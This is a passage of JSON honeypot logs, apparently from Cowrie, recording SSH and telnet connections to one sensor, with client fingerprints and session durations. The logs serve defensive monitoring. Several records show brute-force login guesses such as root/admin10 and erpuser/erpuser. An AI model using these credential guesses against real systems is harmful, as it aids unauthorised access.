,"rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:07.369097Z","src_ip":"185.158.22.150","session":"5f62620b35b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"pass@123","message":"login attempt [test/pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:08.039766Z","src_ip":"185.158.22.150","session":"5f62620b35b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:09.201664Z","src_ip":"185.158.22.150","session":"5f62620b35b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":44558,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f61886314d2","protocol":"telnet","message":"New connection: 104.140.145.149:44558 (159.203.135.109:23) [session: 7f61886314d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:11.484389Z"}
{"eventid":"cowrie.session.closed","duration":0.004969596862792969,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:11.489224Z","src_ip":"104.140.145.149","session":"7f61886314d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":56462,"dst_ip":"159.203.135.109","dst_port":23,"session":"4199481f84af","protocol":"telnet","message":"New connection: 135.148.33.91:56462 (159.203.135.109:23) [session: 4199481f84af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:12.781162Z"}
{"eventid":"cowrie.session.closed","duration":41.333009481430054,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:15.503172Z","src_ip":"45.58.127.90","session":"d15a03bca0ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.31856393814087,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:18.881217Z","src_ip":"135.148.33.91","session":"d392c44b383c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.06803274154663,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:24.748734Z","src_ip":"135.148.33.91","session":"89150fb6287f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.08734846115112,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:25.034881Z","src_ip":"135.148.33.91","session":"e7080524f688","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":42318,"dst_ip":"159.203.135.109","dst_port":23,"session":"c58eebdc9f9f","protocol":"telnet","message":"New connection: 104.140.145.149:42318 (159.203.135.109:23) [session: c58eebdc9f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:25.094152Z"}
{"eventid":"cowrie.session.closed","duration":0.009188652038574219,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:25.103217Z","src_ip":"104.140.145.149","session":"c58eebdc9f9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.41117215156555,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:29.877227Z","src_ip":"135.148.33.91","session":"7db5e014c825","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40068,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f821b120ce4","protocol":"telnet","message":"New connection: 135.148.33.91:40068 (159.203.135.109:23) [session: 6f821b120ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:31.596614Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":40244,"dst_ip":"159.203.135.109","dst_port":23,"session":"60d06363c719","protocol":"telnet","message":"New connection: 135.148.33.91:40244 (159.203.135.109:23) [session: 60d06363c719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:32.909453Z"}
{"eventid":"cowrie.session.closed","duration":36.54609823226929,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:40.700685Z","src_ip":"135.148.33.91","session":"455cdfe123f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.34881615638733,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:47.129870Z","src_ip":"135.148.33.91","session":"4199481f84af","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":53938,"dst_ip":"159.203.135.109","dst_port":23,"session":"aad8189765dc","protocol":"telnet","message":"New connection: 135.148.33.91:53938 (159.203.135.109:23) [session: aad8189765dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:54.460009Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":11135,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e38d13aa236","protocol":"ssh","message":"New connection: 185.158.22.150:11135 (159.203.135.109:22) [session: 6e38d13aa236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:58.923587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:58.927755Z","src_ip":"185.158.22.150","session":"6e38d13aa236","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:59.083143Z","src_ip":"185.158.22.150","session":"6e38d13aa236","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":53786,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5d74d066865","protocol":"telnet","message":"New connection: 104.140.145.149:53786 (159.203.135.109:23) [session: d5d74d066865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:59.177689Z"}
{"eventid":"cowrie.session.closed","duration":0.008558273315429688,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:59.186136Z","src_ip":"104.140.145.149","session":"d5d74d066865","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.140.145.149","src_port":48432,"dst_ip":"159.203.135.109","dst_port":23,"session":"0701fdfd0643","protocol":"telnet","message":"New connection: 104.140.145.149:48432 (159.203.135.109:23) [session: 0701fdfd0643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:59.590329Z"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"1","message":"login attempt [vbox/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:07:59.740378Z","src_ip":"185.158.22.150","session":"6e38d13aa236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:00.900026Z","src_ip":"185.158.22.150","session":"6e38d13aa236","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.473384618759155,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:05.382718Z","src_ip":"135.148.33.91","session":"60d06363c719","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.13292145729065,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:06.729402Z","src_ip":"135.148.33.91","session":"6f821b120ce4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"18.97.26.124","src_port":40868,"dst_ip":"159.203.135.109","dst_port":22,"session":"8717c36f9d97","protocol":"ssh","message":"New connection: 18.97.26.124:40868 (159.203.135.109:22) [session: 8717c36f9d97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:12.176128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_2.9.2","message":"Remote SSH version: SSH-2.0-paramiko_2.9.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:12.188316Z","src_ip":"18.97.26.124","session":"8717c36f9d97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"d6729b7f24428169e981ad4840063ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,blowfish-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: d6729b7f24428169e981ad4840063ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:12.194926Z","src_ip":"18.97.26.124","session":"8717c36f9d97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:12.278179Z","src_ip":"18.97.26.124","session":"8717c36f9d97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":37716,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6b8289fe092","protocol":"telnet","message":"New connection: 135.148.33.91:37716 (159.203.135.109:23) [session: c6b8289fe092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:14.953952Z"}
{"eventid":"cowrie.session.closed","duration":30.95163083076477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:30.541860Z","src_ip":"104.140.145.149","session":"0701fdfd0643","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.28376770019531,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:30.743656Z","src_ip":"135.148.33.91","session":"aad8189765dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":49012,"dst_ip":"159.203.135.109","dst_port":23,"session":"33088eacaf83","protocol":"telnet","message":"New connection: 135.148.33.91:49012 (159.203.135.109:23) [session: 33088eacaf83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:35.407084Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":54788,"dst_ip":"159.203.135.109","dst_port":23,"session":"71493e1c1983","protocol":"telnet","message":"New connection: 135.148.33.91:54788 (159.203.135.109:23) [session: 71493e1c1983]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:43.662205Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55484,"dst_ip":"159.203.135.109","dst_port":23,"session":"fcfd7f295ffa","protocol":"telnet","message":"New connection: 135.148.33.91:55484 (159.203.135.109:23) [session: fcfd7f295ffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:44.850350Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":55302,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ae02f7fa716","protocol":"telnet","message":"New connection: 135.148.33.91:55302 (159.203.135.109:23) [session: 6ae02f7fa716]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:45.552187Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":45208,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d4ae238c3a","protocol":"ssh","message":"New connection: 185.158.22.150:45208 (159.203.135.109:22) [session: 72d4ae238c3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:48.208564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:48.212872Z","src_ip":"185.158.22.150","session":"72d4ae238c3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:48.374374Z","src_ip":"185.158.22.150","session":"72d4ae238c3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin10","message":"login attempt [root/admin10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:49.052011Z","src_ip":"185.158.22.150","session":"72d4ae238c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:50.217655Z","src_ip":"185.158.22.150","session":"72d4ae238c3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.65380525588989,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:08:50.607643Z","src_ip":"135.148.33.91","session":"c6b8289fe092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":38482,"dst_ip":"159.203.135.109","dst_port":23,"session":"36905c36b3e5","protocol":"telnet","message":"New connection: 135.148.33.91:38482 (159.203.135.109:23) [session: 36905c36b3e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:02.909480Z"}
{"eventid":"cowrie.session.closed","duration":33.40989971160889,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:08.816866Z","src_ip":"135.148.33.91","session":"33088eacaf83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.50.245.253","src_port":64446,"dst_ip":"159.203.135.109","dst_port":23,"session":"c45d7c7a98dd","protocol":"telnet","message":"New connection: 117.50.245.253:64446 (159.203.135.109:23) [session: c45d7c7a98dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:11.746598Z"}
{"eventid":"cowrie.session.closed","duration":33.96233415603638,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:17.624444Z","src_ip":"135.148.33.91","session":"71493e1c1983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.8781099319458,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:19.728344Z","src_ip":"135.148.33.91","session":"fcfd7f295ffa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.7672975063324,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:21.319318Z","src_ip":"135.148.33.91","session":"6ae02f7fa716","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":47962,"dst_ip":"159.203.135.109","dst_port":23,"session":"850200732f52","protocol":"telnet","message":"New connection: 135.148.33.91:47962 (159.203.135.109:23) [session: 850200732f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:22.188363Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":51558,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cbb66fdfdb3","protocol":"telnet","message":"New connection: 135.148.33.91:51558 (159.203.135.109:23) [session: 6cbb66fdfdb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:25.082074Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.158.22.150","src_port":33329,"dst_ip":"159.203.135.109","dst_port":22,"session":"d14f62413fc1","protocol":"ssh","message":"New connection: 185.158.22.150:33329 (159.203.135.109:22) [session: d14f62413fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:33.634001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:33.637946Z","src_ip":"185.158.22.150","session":"d14f62413fc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:34.426184Z","src_ip":"185.158.22.150","session":"d14f62413fc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpuser","password":"erpuser","message":"login attempt [erpuser/erpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:34.892093Z","src_ip":"185.158.22.150","session":"d14f62413fc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.913925647735596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:35.823294Z","src_ip":"135.148.33.91","session":"36905c36b3e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:36.051728Z","src_ip":"185.158.22.150","session":"d14f62413fc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.91","src_port":58920,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e5dc8f9ce36","protocol":"telnet","message":"New connection: 135.148.33.91:58920 (159.203.135.109:23) [session: 6e5dc8f9ce36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:38.123343Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.248.189.72","src_port":60290,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eaf1bf4d25d","protocol":"ssh","message":"New connection: 161.248.189.72:60290 (10.17.0.5:22) [session: 5eaf1bf4d25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:40.001127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T17:09:40.005939Z","src_ip":"161.248.189.72","session":"5eaf1bf4d25d","protocol":"ssh"}
